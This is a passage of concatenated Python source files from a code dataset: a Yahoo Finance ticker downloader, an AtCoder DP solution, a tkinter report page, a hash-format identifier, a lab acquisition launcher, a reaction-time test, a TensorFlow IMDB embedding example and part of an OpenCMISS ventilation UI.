df.to_csv(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker),date_format='%s', index=False)\n time.sleep(delay)\n continue\n if os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)) and refresh:\n print(\"Refreshing data for {}\".format(ticker))\n os.remove(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker))\n tick=yf.Ticker(ticker)\n df=tick.history(period)\n df['Adj Close'] = df['Close']\n df.index.name =\"Date Time\"\n df.reset_index(inplace=True)\n df[\"Date Time\"]=pd.to_datetime(df[\"Date Time\"])\n df.drop(columns=['Dividends','Stock Splits'],axis=1, inplace=True)\n df.to_csv(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker),date_format='%s', index=False)\n time.sleep(delay)\n\n'''\nFunction Name: get_data_from_yahoo_specific(data_directory,ticker_sub_directory,fileName,start,end,interval, refresh, purge)\nPurpose: This function will take as an input a csv file\n which it will open, take in all of the ticker names\n and download the information using the Yahoo Finance API.\nArguments: data_directory: Data parent directory - this is where the csv files should be stored\n ticker_sub_directory: String, data sub directory, this is where a csv for each of the tickers history will be stored\n fileName: String, file name of the csv file that resides in the data_directory to read tickers from. The\n default is sp500tickers.csv, other csv files in the same format can be used.\n start: A string in the format yyyy-mm-dd representing the desired start date\n end: A string in the format yyyy-mm-dd representing the desired end date\n interval: A string representing the interval period for each data point. \n Valid intervals: 1m,2m,5m,15m,30m,60m,90m,1h,1d,5d,1wk,1mo,3mo\n Intraday data cannot extend last 60 days\n refresh: Bool, if set to True, it will delete the file for each ticker, and re-download the data for the desired period. This will cause the old ticker data to remain.\n purge: Bool, if set to True, ALL data files in the directory will be deleted, and then the data will be downloaded. This\n function serves to delete old data that is in the directory that is no longer in use. IE after a watch list has changed.\n delay: float - The delay time in seconds between ticker info downloads, 0.5 works well, not to anger the yahoo server\n'''\ndef get_data_from_yahoo_specific(data_directory,ticker_sub_directory,fileName,start,end,interval, refresh, purge, delay):\n if not os.path.exists(data_directory+fileName):\n print(data_directory+fileName+\" Not Found! Check Path and File Name! Exiting!\")\n sys.exit()\n with open(data_directory + fileName,\"rb\") as f:\n tickers=pd.read_csv(data_directory + fileName, usecols=[\"Ticker\"], index_col=None)\n if purge:\n files=g.glob(data_directory+ticker_sub_directory+'/*')\n print(\"Purging all files for a fresh clean start\")\n for f in files:\n os.remove(f)\n if not os.path.exists(data_directory+ticker_sub_directory):\n os.makedirs(data_directory+ticker_sub_directory)\n for ticker in tickers[\"Ticker\"]:\n if not os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)):\n print(\"Getting Ticker: {}\".format(ticker))\n tick=yf.Ticker(ticker)\n df=tick.history(start=start,end=end,interval=interval)\n df['Adj Close'] = df['Close']\n df.index.name =\"Date Time\"\n df.reset_index(inplace=True)\n df[\"Date Time\"]=pd.to_datetime(df[\"Date Time\"])\n df.drop(columns=['Dividends','Stock Splits'],axis=1, inplace=True)\n df.to_csv(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker),date_format='%s', index=False)\n time.sleep(delay)\n continue\n if os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)) and refresh:\n print(\"Refreshing data for {}\".format(ticker))\n os.remove(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker))\n tick=yf.Ticker(ticker)\n df=tick.history(start=start,end=end,interval=interval)\n df['Adj Close'] = df['Close']\n df.index.name =\"Date Time\"\n df.reset_index(inplace=True)\n df[\"Date Time\"]=pd.to_datetime(df[\"Date Time\"])\n df.drop(columns=['Dividends','Stock Splits'],axis=1, inplace=True)\n df.to_csv(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker),date_format='%s', index=False)\n time.sleep(delay)\n\n'''\nFunction Name: get_update_date_delta(data_directory,ticker_sub_directory,ticker)\nPurpose: This function takes a ticker name string as an input and will open\n the appropriate csv file, and will return the time in days since last\n update as well as the date of the last update.\nArguments: data_directory: Data parent directory - this is where the csv files should be stored\n ticker_sub_directory: String, data sub directory, this is where a csv for each of the tickers history will be stored\n ticker: String, the ticker symbol, ex Apple = 'AAPL'\nReturns: int days, pandas datetime last_date yyyy-mm-dd\n'''\n\ndef get_update_date_delta(data_directory,ticker_sub_directory,ticker):\n if not os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)):\n print(\"Ticker File Not Found, Run get_data_from_yahoo()\")\n else: \n today=datetime.now()\n df=pd.read_csv(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker))\n df[\"Date Time\"]=pd.to_datetime(df[\"Date Time\"])\n last_date=df.tail(1)[\"Date Time\"]\n difference = today - last_date\n return int(difference.astype('timedelta64[D]')), last_date\n\n\n'''\nFunction Name: add_ticker_to_csv(data_directory,csvFile,tickerName)\nPurpose: This function allows you to add a ticker to a csv file. Ex myWatchList.\nArguments: data_directory: String, Data parent directory - this is where the csv files should be stored\n csvFile: String, this is the name of the csv file that contains tickers, that you will be adding a ticker to\n tickerName: String, the ticker symbol you wish to add to the csv file\nNote: This does not update the data, you should run get_data_from_yahoo() to do so\n'''\n\ndef add_ticker_to_csv(data_directory,csvFile,tickerName):\n tickers=pd.read_csv(data_directory + csvFile, usecols=[\"Ticker\"], index_col=None)\n new_row={\"Ticker\":tickerName}\n tickers=tickers.append(new_row, ignore_index=True)\n with open(data_directory+csvFile,\"w\",newline='') as f:\n f.write(tickers.to_csv(header=True, index=False))\n\n\n'''\nTO BE REMOVED OR CHANGED TO CSV\n\nFunction Name: remove_ticker_from_csv(data_directory,csvFile, tickerName)\nPurpose: This function is used to remove a ticker from a csv file.\nArguments: data_directory: String, Data parent directory - this is where the csv files should be stored\n csvFile: String, this is the name of the csv file that contains tickers, that you will be removing a ticker from\n tickerName: String, the ticker symbol you wish to remove from the csv file\nNote: This does not update the data, only the csv, you should run\n get_data_from_yahoo() to do so. If you dont use the purge option while\n doing so, the old data will remain for tickers that no longer exist.\n'''\n\ndef remove_ticker_from_csv(data_directory,csvFile, tickerName):\n tickers=pd.read_csv(data_directory + csvFile, usecols=[\"Ticker\"], index_col=None)\n droplist=tickers.index[tickers['Ticker'] == tickerName].tolist()\n tickers.drop(index=droplist, inplace=True)\n with open(data_directory+csvFile,\"w\",newline='') as f:\n f.write(tickers.to_csv(header=True, index=False))\n \n \n '''\n if os.path.exists(data_directory+csvFile):\n with open(data_directory + csvFile,\"rb\") as f:\n tickers=csv.load(f)\n for i in range (0,len(tickers)):\n if tickers[i]==tickerName:\n print(\"Removing ticker: {}\".format(tickers[i]))\n tickers.drop(labels=i,inplace=True)\n os.remove(data_directory+csvFile)\n with open(data_directory + csvFile,\"wb\") as f:\n csv.dump(tickers,f)\n '''\n","sub_path":"Strategies/tickerdatautil.py","file_name":"tickerdatautil.py","file_ext":"py","file_size_in_byte":17479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"477092187","text":"# 爬楼梯 每次跳>=3节\r\n# 求跳到S节的方案数 (S<=2e5)\r\n# !dp[i]=dp[i-3]+(dp[i-4]+...dp[0])\r\n# !即 dp[i]=dp[i-3]+dp[i-1]\r\n# 注意初始项 [1,0,0,1]\r\n\r\n\r\nimport sys\r\nimport os\r\n\r\nsys.setrecursionlimit(int(1e9))\r\ninput = lambda: sys.stdin.readline().rstrip(\"\\r\\n\")\r\nMOD = int(1e9 + 7)\r\n\r\n\r\ndef main() -> None:\r\n # n = int(input())\r\n # dp = defaultdict(int, {0: 1})\r\n # dpSum = defaultdict(int, {0: 1})\r\n # for i in range(1, n + 1):\r\n # dp[i] = dpSum[i - 3] % MOD\r\n # dpSum[i] = (dpSum[i - 1] + dp[i]) % MOD\r\n # print(dp[n])\r\n\r\n # 推导式变形\r\n n = int(input())\r\n dp = [1, 0, 0, 1]\r\n for i in range(4, n + 1):\r\n dp.append((dp[i - 3] + dp[i - 1]) % MOD)\r\n print(dp[n])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n if os.environ.get(\"USERNAME\", \" \") == \"caomeinaixi\":\r\n while True:\r\n main()\r\n else:\r\n main()\r\n","sub_path":"20_杂题/atc競プロ/AtCoder Beginner Contest/178/D - Redistribution.py","file_name":"D - Redistribution.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"168113037","text":"import tkinter\nfrom tkinter import *\nfrom tkinter.constants import *\nimport StaticTable\nimport AdminButtonGlobal\nfrom tkinter import ttk\n\nimport globalvalues\n\nimport DBMSGetData\n\n\ndef getUserWork(workstatusselected,articlenameselected,contentframe):\n\n AdminButtonGlobal.CURRENTTABLEFRAME.destroy()\n\n if workstatusselected==\"All\" and articlenameselected!=\"All\":\n\n AdminButtonGlobal.CURRENTTABLEFRAME=tkinter.Frame(contentframe)\n AdminButtonGlobal.CURRENTTABLEFRAME.grid(row=4,column=0,sticky=W,ipadx=globalvalues.WIDTH-300,ipady=globalvalues.HEIGHT-200,columnspan=25)\n StaticTable.drawTable(AdminButtonGlobal.CURRENTTABLEFRAME,DBMSGetData.getAllDataOfColumn(\"RECEIVEDWORK\",\"ALLOTED\",articlenameselected))\n\n elif workstatusselected==\"All\" and articlenameselected==\"All\":\n \n AdminButtonGlobal.CURRENTTABLEFRAME=tkinter.Frame(contentframe)\n AdminButtonGlobal.CURRENTTABLEFRAME.grid(row=4,column=0,sticky=W,ipadx=globalvalues.WIDTH-300,ipady=globalvalues.HEIGHT-200,columnspan=25)\n StaticTable.drawTable(AdminButtonGlobal.CURRENTTABLEFRAME,DBMSGetData.getAllData(\"RECEIVEDWORK\"))\n\n elif workstatusselected!=\"All\" and articlenameselected==\"All\":\n AdminButtonGlobal.CURRENTTABLEFRAME=tkinter.Frame(contentframe)\n AdminButtonGlobal.CURRENTTABLEFRAME.grid(row=4,column=0,sticky=W,ipadx=globalvalues.WIDTH-300,ipady=globalvalues.HEIGHT-200,columnspan=25)\n StaticTable.drawTable(AdminButtonGlobal.CURRENTTABLEFRAME,DBMSGetData.getAllDataOfColumn(\"RECEIVEDWORK\",\"WORKSTATUS\",workstatusselected))\n\n else:\n AdminButtonGlobal.CURRENTTABLEFRAME=tkinter.Frame(contentframe)\n AdminButtonGlobal.CURRENTTABLEFRAME.grid(row=4,column=0,sticky=W,ipadx=globalvalues.WIDTH-300,ipady=globalvalues.HEIGHT-200,columnspan=25)\n StaticTable.drawTable(AdminButtonGlobal.CURRENTTABLEFRAME,DBMSGetData.getAllDataByTwoColumn(\"RECEIVEDWORK\",\"ALLOTED\",\"WORKSTATUS\",articlenameselected,workstatusselected))\n \n return\n\n\n\n\n\ndef reportList(root):\n\n\n contentframe=tkinter.Frame(root)\n contentframe.grid(row=0,column=1,ipadx=globalvalues.HEIGHT,ipady=globalvalues.WIDTH-100)\n\n tkinter.Label(contentframe,text=\"Work Reports-\",font=\"Time 14\").grid(row=0,column=0,sticky=W,pady=7)\n\n\n articlenamelist=[\"All\"]\n try:\n for i in DBMSGetData.getData(\"TEAMREGISTER\",\"USERNAME\"):\n articlenamelist.append(i[0])\n except:\n pass \n\n\n AdminButtonGlobal.CURRENTTABLEFRAME=tkinter.Frame(contentframe)\n AdminButtonGlobal.CURRENTTABLEFRAME.grid(row=4,column=0,sticky=W,ipadx=globalvalues.WIDTH-300,ipady=globalvalues.HEIGHT-200,columnspan=25)\n StaticTable.drawTable(AdminButtonGlobal.CURRENTTABLEFRAME,DBMSGetData.getAllData(\"RECEIVEDWORK\"))\n\n\n\n workstatusselected=tkinter.StringVar(contentframe)\n workstatuslist = [\"All\",\"Complete\",\"Pending\",\"Past due date\"]\n workstatusselected.set(\"All\")\n tkinter.Label(contentframe,text=\"Work Status:\").grid(row=2,column=0,sticky=W)\n tkinter.OptionMenu(contentframe,workstatusselected,*workstatuslist,command=lambda event=1:getUserWork(workstatusselected.get(),articlenameselected.get(),contentframe)).grid(row=2,column=1,sticky=W)\n\n\n\n articlenameselected=tkinter.StringVar(contentframe)\n \n tkinter.Label(contentframe,text=\"Username:\").grid(row=1,column=0,sticky=W)\n articlenamemenu=ttk.Combobox(contentframe,textvariable=articlenameselected)\n articlenamemenu.grid(row=1,column=1,sticky=W)\n articlenamemenu['value']=articlenamelist\n articlenamemenu.current(0)\n\n articlenamemenu.bind(\"<>\",lambda event=1:getUserWork(articlenameselected.get(),contentframe))\n\n \n\n AdminButtonGlobal.CURRENTFRAME=contentframe\n\n\n return","sub_path":"ReportsPage.py","file_name":"ReportsPage.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"19711409","text":"import re\n\n\n# Has to be the first function so I can use it in the regex\ndef build_re(hex_len, prefix=r\"\", suffix=r\"(:.+)?\"):\n regex_string = r\"^{}[a-f0-9]{{{}}}{}$\".format(prefix, hex_len, suffix)\n return re.compile(regex_string, re.IGNORECASE)\n\n\nHASH_TYPE_REGEX = {\n build_re(32): [\n (\"md5\", \"md4\", \"md2\",\n \"md5(md5(pass)+md5(salt))\", \"md5(md5(pass))\",\n \"md5(salt+pass+salt)\"), # Most likely\n (\"lm\", \"ripe128\", \"haval128\", # Least likely\n \"tiger128\", \"skein256(128)\", \"skein512(128\",\n \"lotus Notes/Domino 5\", \"skype\", \"zipmonster\",\n \"prestashop\")\n ],\n build_re(16): [\n (\"half md5\", None),\n (None, None)\n ],\n build_re(64): [\n (\"sha256\", \"sha3_256\"),\n (\"haval256\", \"gost r 34.1194\",\n \"gost cryptopro sbox\", \"skein256\",\n \"skein512(256)\", \"ventrilo\",\n \"ripemd256\")\n ],\n build_re(128): [\n (\"sha512\", \"whirlpool\", \"sha3_512\"),\n (\"salsa10\", \"salsa20\",\n \"skein512\", \"skein1024(512)\")\n ],\n build_re(56, suffix=\"\"): [\n (\"sha224\", \"sha3_224\"),\n (\"shein256(224)\", \"skein512(224)\",\n \"haval224\")\n ],\n build_re(40): [\n (\"sha1\", \"ripemd160\"),\n (\"doublesha1\", \"haval160\", \"tiger160\",\n \"has160\", \"skein256(160)\", \"skein512(160)\",\n \"dsa\")\n ],\n build_re(96, suffix=\"\"): [\n (\"sha384\", \"sha3_384\"),\n (\"skein512(384)\", \"skein1024(384\")\n ],\n build_re(40, prefix=r\"\\*\", suffix=\"\"): [\n (\"mysql 5.x\", \"mysql 4.1\")\n ],\n build_re(48, suffix=\"\"): [\n (\"haval192\", \"sha1(oracle)\"),\n (\"tiger192\", \"xsha (v10.4-v10.6)\")\n ],\n re.compile(r\"^\\$[\\w.]{1}\\$\\w+\\$\\S{22}$\", re.IGNORECASE): [\n (\"wordpress\", None),\n (\"PHPass\", \"Joomla\")\n ],\n re.compile(r\"^\\$\\d\\w\\$\\d+\\$\\S{53}$\", re.IGNORECASE): [\n (\"blowfish\", None),\n (None, None)\n ],\n re.compile(r\"^S:[a-zA-Z0-9]{60}$\", re.IGNORECASE): [\n (\"oracle\", None),\n (None, None)\n ],\n re.compile(r\"^[0-9a-z]{4,12}:[0-9a-f]{16,20}:[0-9a-z]{2080}$\", re.IGNORECASE): [\n (\"agile\", None),\n (None, None)\n ],\n re.compile(r\"^[0-9a-f]{64,70}:[a-f0-9]{32,40}:\\d+:[a-f0-9]{608,620}$\", re.IGNORECASE): [\n (\"cloud\", None),\n (None, None)\n ]\n}\n\n\ndef verify_hash_type(hash_to_verify, least_likely=False):\n \"\"\"\n Attempt to verify a given hash by type (md5, sha1, etc..)\n\n > :param hash_to_verify: hash string\n > :param least_likely: show least likely options as well\n > :return: likely options, least likely options, or none\n\n Example:\n >>> verify_hash_type(\"098f6bcd4621d373cade4e832627b4f6\", least_likely=True)\n [('md5', 'md4', 'md2'), ('double md5', 'lm', ... )]\n \"\"\"\n for regex in HASH_TYPE_REGEX:\n if regex.match(hash_to_verify) and least_likely:\n return HASH_TYPE_REGEX[regex]\n elif regex.match(hash_to_verify) and not least_likely:\n return HASH_TYPE_REGEX[regex][0]\n","sub_path":"bin/verify_hashes/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"383367479","text":"import sys\nimport os\nimport subprocess\n\nprint ('\\n\\nMuDog (MuBot ver 5.0) - MURAVES Experiment')\nprint ('Copyright 2019(C) 19LC77 (email : luigi.cimmino@na.infn.it)')\nprint ('__________________________________________________________\\n')\n\nif sys.argv[1] == 'ROSSO' :\n\tmuClient = 'tcp://192.168.77.32:5000'\n\tbroadPort = 'tcp://0.0.0.0:5000'\nelif sys.argv[1] == 'NERO' :\n\tmuClient = 'tcp://192.168.77.86:6000'\n\tbroadPort = 'tcp://0.0.0.0:6000'\nelif sys.argv[1] == 'BLU' :\n\tmuClient = 'tcp://192.168.77.136:7000'\n\tbroadPort = 'tcp://0.0.0.0:7000'\n\narg = ['./DTCrcvr', broadPort, sys.argv[1]]\nsubprocess.call(arg)\n\nDTCfile = '/home/DatiTB/DTC/DTC_' + sys.argv[1] + '.txt'\ninputF = open(DTCfile, 'r')\ns = inputF.readline()\ns = s.replace('$PEDS\\t', '')\npeds = s.replace('\\n', '')\ns = inputF.readline()\ns = s.replace('$EVTS\\t', '')\nevts = s.replace('\\n', '')\ninputF.close()\ntry :\n\targ = ['python3', 'acqCPE.py', peds, evts, sys.argv[1]]\n\tsubprocess.call(arg)\nexcept :\n\targ = ['python3', 'HV_Shutdown.py']\n\tsubprocess.call(arg)\n\tprint(' *** EXIT ***')\n","sub_path":"muBot/muBot.py","file_name":"muBot.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"198460496","text":"import datetime\nimport random\nfrom time import sleep\nfrom pynput import keyboard\nimport sys\n\n#now \ndef getQuestion(qType):\n if (qType == 0):\n s = \"ABEFGHMPRTabefghmprt\"\n question = s[random.randint(0,len(s)-1)]\n return question\n elif (qType == 1):\n sameOrNot = random.randint(1,2)\n s = \"ABEFGHMPRTabefghmprt\"\n if sameOrNot == 1:\n expectedAns = True\n char = s[random.randint(0,len(s)-1)]\n question = char + ' ' + char\n # return question, expectedAns\n elif sameOrNot == 2:\n expectedAns = False\n char1 = s[random.randint(0,len(s)-1)]\n char2 = s[random.randint(0,len(s)-1)]\n while char1 == char2:\n char2 = s[random.randint(0,len(s)-1)]\n question = char1 + ' ' + char2\n # return question, expectedAns\n return question, expectedAns\n elif (qType == 2):\n sameOrNot = random.randint(1,2)\n s = \"ABEFGHMPRTabefghmprt\"\n if sameOrNot == 1:\n expectedAns = True\n ranIdx = random.randint(0,len(s)-1)\n char1 = s[ranIdx]\n char2 = s[(ranIdx + len(s) // 2)%(len(s))]\n question = char1 + ' ' + char2\n return question, expectedAns\n elif sameOrNot == 2:\n expectedAns = False\n ranIdx1 = random.randint(0,len(s)-1)\n ranIdx2 = random.randint(0,len(s)-1)\n char1 = s[ranIdx1]\n char2 = s[ranIdx2]\n while (char1 == char2 or char2 == s[(ranIdx1 + len(s) // 2)%(len(s))]):\n char2 = s[random.randint(0,len(s)-1)]\n question = char1 + ' ' + char2\n return question, expectedAns\n elif (qType == 3):\n sameOrNot = random.randint(1,2)\n if sameOrNot == 1:\n expectedAns = True\n ran1to3 = random.randint(1,3)\n if ran1to3 == 1:\n s = \"ABEFGHMPRT\"\n char1 = s[random.randint(0,len(s)-1)]\n char2 = s[random.randint(0,len(s)-1)]\n question = char1 + ' ' + char2\n # return question, expectedAns\n if ran1to3 == 2:\n s = \"abefghmprt\"\n char1 = s[random.randint(0,len(s)-1)]\n char2 = s[random.randint(0,len(s)-1)]\n question = char1 + ' ' + char2\n # return question, expectedAns\n if ran1to3 == 3:\n s = \"!@#$%&*+=?\"\n char1 = s[random.randint(0,len(s)-1)]\n char2 = s[random.randint(0,len(s)-1)]\n question = char1 + ' ' + char2\n # return question, expectedAns\n elif sameOrNot == 2:\n s = \"ABEFGHMPRTabefghmprt!@#$%&*+=?\"\n expectedAns = False\n ranIdx1 = random.randint(0,len(s)-1)\n if (ranIdx1 < 10):\n ranIdx2 = 10 + random.randint(0,19)\n elif (ranIdx1 < 20):\n ranIdx2 = (20 + random.randint(0,19)) % len(s)\n else:\n ranIdx2 = random.randint(0,19)\n char1 = s[ranIdx1]\n char2 = s[ranIdx2]\n question = char1 + ' ' + char2\n # return question, expectedAns\n return question, expectedAns\ndef resultToCsvFormat(time, qType, question, expectedAns, qAns):\n if qType == 0:\n s = '' + str(time) + ',' + str(qType) + ',\"' + question + '\",,,'\n else:\n s = '' + str(time) + ',' + str(qType) + ',\"' + question \\\n + '\",,,' + str(expectedAns) + ',' + str(qAns) + ',' + \\\n str((expectedAns == qAns))\n return s\n\ndef writeToCsv(resultArr, qType):\n if qType == 0:\n nameOfFile = 'simpleReactionResult.csv'\n elif qType == 1:\n nameOfFile = 'physicalMatchingResult.csv'\n if qType == 2:\n nameOfFile = 'nameMatchingResult.csv'\n if qType == 3:\n nameOfFile = 'categoryMatchingResult.csv'\n with open(nameOfFile, 'w') as f:\n if qType == 0:\n f.write('time, qType, question, expectedAns, qAns')\n f.write('\\n')\n else:\n f.write('time, qType, question, expectedAns, qAns')\n f.write('\\n')\n for line in resultArr:\n f.write(line)\n f.write('\\n')\n\ndef readKeyboardInput(qType, question):\n if qType == 0:\n sleep(random.randint(1,4))\n print(question)\n tic = datetime.datetime.now()\n with keyboard.Events() as events:\n event = events.get(1e6)\n #block as much as possible\n if event.key == keyboard.Key.space:\n toc = datetime.datetime.now()\n qAns = True\n else:\n print(f\"ERROR, you pressed an invalid key, key pressed was {event.key}\")\n sys.exit()\n print(\"#------------------------------------#\")\n\n else:\n sleep(random.randint(1,4))\n print(question)\n tic = datetime.datetime.now()\n with keyboard.Events() as events:\n event = events.get(1e6)\n #block as much as possible\n if event.key == keyboard.Key.space:\n toc = datetime.datetime.now()\n qAns = True\n elif event.key == keyboard.Key.enter:\n toc = datetime.datetime.now()\n qAns = False\n else:\n print(f\"ERROR, you pressed an invalid key, key pressed was {event.key}\")\n sys.exit()\n\n print(\"#------------------------------------#\")\n\n time = getTime(tic, toc)\n return time, qAns\n\ndef getTime(tic, toc):\n delta = toc - tic\n ti = int(delta.total_seconds() * 1000) # miliseconds\n me = str(ti) + \"ms\"\n return me\n\ndef printRules(qType):\n if qType == 0:\n print(\"Press SPACE when a letter shows up\")\n if qType == 1:\n print(\"########CASE SENSITIVE########\")\n sleep(1)\n print(\"Press SPACE if the two letters are the same , press ENTER if they're not\")\n sleep(1)\n print(\"ready.....\")\n sleep(1)\n print(\"START\")\n if qType == 2:\n print(\"########NOT CASE SENSITIVE########\")\n sleep(1)\n print(\"Press SPACE if the two letters are the same , press ENTER if they're not\")\n sleep(1)\n print(\"ready.....\")\n sleep(1)\n print(\"START\")\n if qType == 3:\n print(\"########TYPE refers to if they're either UPPER CASE, lower case, or SYMBOLS(!@#$)########\")\n sleep(2)\n print(\"Press SPACE if the two letters are the same TYPE , press ENTER if they're not\")\n sleep(2)\n print(\"ready.....\")\n sleep(1)\n print(\"START\")\n pass\n\nif __name__ == \"__main__\":\n qType = int(input(\"Select question type (from 1 to 4)\")) - 1 #from 0 to 3 (Questions 1 to 4)\n resultCsvArr = []\n N = int(input(\"How many times do you want to repeat each test?\")) #回数\n printRules(qType)\n for i in range(N):\n if qType == 0:\n question = getQuestion(qType)\n time, qAns = readKeyboardInput(qType, question)\n s = resultToCsvFormat(time, qType, question, ',,,',',,,')\n resultCsvArr.append(s)\n else:\n question, expectedAns = getQuestion(qType)\n time, qAns = readKeyboardInput(qType, question)\n s = resultToCsvFormat(time, qType, question, expectedAns, qAns)\n resultCsvArr.append(s)\n writeToCsv(resultCsvArr, qType)","sub_path":"hrtime.py","file_name":"hrtime.py","file_ext":"py","file_size_in_byte":7443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"158384348","text":"import tensorflow as tf\nimport tensorflow_datasets as tfds\nfrom tensorflow import keras\nimport numpy as np\nimport io\n\nimdb, info = tfds.load(\"imdb_reviews\", with_info=True, as_supervised=True)\ntrain_data, test_data = imdb['train'], imdb['test']\n\ntrain_sentences, train_labels = [], []\ntest_sentences, test_labels = [], []\nfor sent, label in train_data:\n train_sentences.append(sent.numpy().decode('utf8'))\n train_labels.append(label.numpy())\nfor sent, label in test_data:\n test_sentences.append(sent.numpy().decode('utf8'))\n test_labels.append(label.numpy())\n# by now the label is list, and need to convert to numpy\ntrain_labels = np.array(train_labels)\ntest_labels = np.array(test_labels)\n\nnum_vocab = 10000\nmax_len = 120\nembedding_dim = 16\ntokenizer = keras.preprocessing.text.Tokenizer(num_words=num_vocab, oov_token=\"\")\ntokenizer.fit_on_texts(train_sentences)\ntrain_seq = tokenizer.texts_to_sequences(train_sentences)\ntrain_pad = keras.preprocessing.sequence.pad_sequences(train_seq, maxlen=max_len)\ntest_seq = tokenizer.texts_to_sequences(test_sentences)\ntest_pad = keras.preprocessing.sequence.pad_sequences(test_seq, maxlen=max_len)\n\nword_index = tokenizer.word_index\nreverse_word_index = dict([(value, key) for (key, value) in word_index.items()])\n\nmodel = keras.models.Sequential([\n keras.layers.Embedding(num_vocab, embedding_dim, input_length=120),\n keras.layers.Flatten(),\n # keras.layers.GlobalAveragePooling1D(),\n keras.layers.Dense(6, activation=tf.nn.relu),\n keras.layers.Dense(1, activation=tf.nn.sigmoid) # classify if sentence is sarcastic\n])\nmodel.compile(optimizer=tf.optimizers.RMSprop(lr=0.0001), loss=tf.losses.binary_crossentropy, metrics=['accuracy'])\nmodel.fit(train_pad, train_labels, epochs=30, validation_data=(test_pad, test_labels))\n\"\"\"\nEpoch 28/30\n782/782 [==============================] - 2s 2ms/step - loss: 0.2644 - accuracy: 0.8962 - val_loss: 0.3149 - val_accuracy: 0.8643\nEpoch 29/30\n782/782 [==============================] - 2s 2ms/step - loss: 0.2612 - accuracy: 0.8972 - val_loss: 0.3138 - val_accuracy: 0.8651\nEpoch 30/30\n782/782 [==============================] - 2s 2ms/step - loss: 0.2582 - accuracy: 0.8978 - val_loss: 0.3131 - val_accuracy: 0.8651\n\"\"\"\n\ntest = [\"It's so good you won't believe it\"]\ntest_pad = keras.preprocessing.sequence.pad_sequences(tokenizer.texts_to_sequences(test), maxlen=max_len)\nprint(model.predict(test_pad)) # [[0.698234]]\n\nembd = model.layers[0]\nembd_weights = embd.get_weights()[0]\nprint(embd_weights.shape) # (10000, 16)\n\nout_v = io.open('course3_week2_lesson1_vecs.tsv', 'w', encoding='utf-8')\nout_m = io.open('course3_week2_lesson1_meta.tsv', 'w', encoding='utf-8')\nfor word_num in range(1, num_vocab):\n word = reverse_word_index[word_num]\n embeddings = embd_weights[word_num]\n out_m.write(word + \"\\n\")\n out_v.write('\\t'.join([str(x) for x in embeddings]) + \"\\n\")\nout_v.close()\nout_m.close()","sub_path":"course3_week2_lesson1.py","file_name":"course3_week2_lesson1.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"446821024","text":"'''\n Copyright 2015 University of Auckland\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n'''\nimport json\nimport os.path\n\nfrom PySide import QtGui\n\nfrom opencmiss.neon.ui.problems.base import BaseProblem\nfrom opencmiss.neon.core.problems.constants import RespirationConstants\nfrom opencmiss.neon.ui.problems.ui_ventilationwidget import Ui_VentilationWidget\nfrom opencmiss.neon.core.problems.ventilation import getExecutableForPlatform\n\n\nclass Ventilation(BaseProblem):\n\n def __init__(self, shared_opengl_widget, parent=None):\n super(Ventilation, self).__init__(parent)\n self._ui = Ui_VentilationWidget()\n self._ui.setupUi(self)\n self._setupUi()\n\n self._location = None\n\n self._createMaps()\n\n self._makeConnections()\n\n def _setupUi(self):\n enums = []\n self._ui.tabWidget.setCurrentIndex(2)\n self._ui.comboBoxExpirationType.clear()\n class_attributes = RespirationConstants.ExpirationType.__dict__\n for a in class_attributes:\n if not a.startswith('__'):\n enums.append((class_attributes[a], a))\n\n enums = sorted(enums)\n self._map_expiration_index_to_string = {e[0]: e[1].lower() for e in enums}\n self._map_string_to_expiration_index = {e[1].lower(): e[0] for e in enums}\n self._ui.comboBoxExpirationType.addItems([e[1] for e in enums])\n\n def _createMaps(self):\n self._map_keys_to_ui = {}\n self._map_ui_to_keys = {}\n self._map_chooser_to_line_edit = {}\n\n # The executable ui is not added to the map, it is dealt with separately\n # File input outputs\n self._map_keys_to_ui['tree_inbuilt'] = self._ui.checkBoxInBuiltTree\n self._map_ui_to_keys[self._ui.checkBoxInBuiltTree] = 'tree_inbuilt'\n self._map_keys_to_ui['tree_ipelem'] = self._ui.lineEditIpElem\n self._map_ui_to_keys[self._ui.lineEditIpElem] = 'tree_ipelem'\n self._map_keys_to_ui['tree_ipnode'] = self._ui.lineEditIpNode\n self._map_ui_to_keys[self._ui.lineEditIpNode] = 'tree_ipnode'\n self._map_keys_to_ui['tree_ipfield'] = self._ui.lineEditIpField\n self._map_ui_to_keys[self._ui.lineEditIpField] = 'tree_ipfield'\n self._map_keys_to_ui['tree_ipmesh'] = self._ui.lineEditIpMesh\n self._map_ui_to_keys[self._ui.lineEditIpMesh] = 'tree_ipmesh'\n self._map_keys_to_ui['flow_inbuilt'] = self._ui.checkBoxInBuiltFlow\n 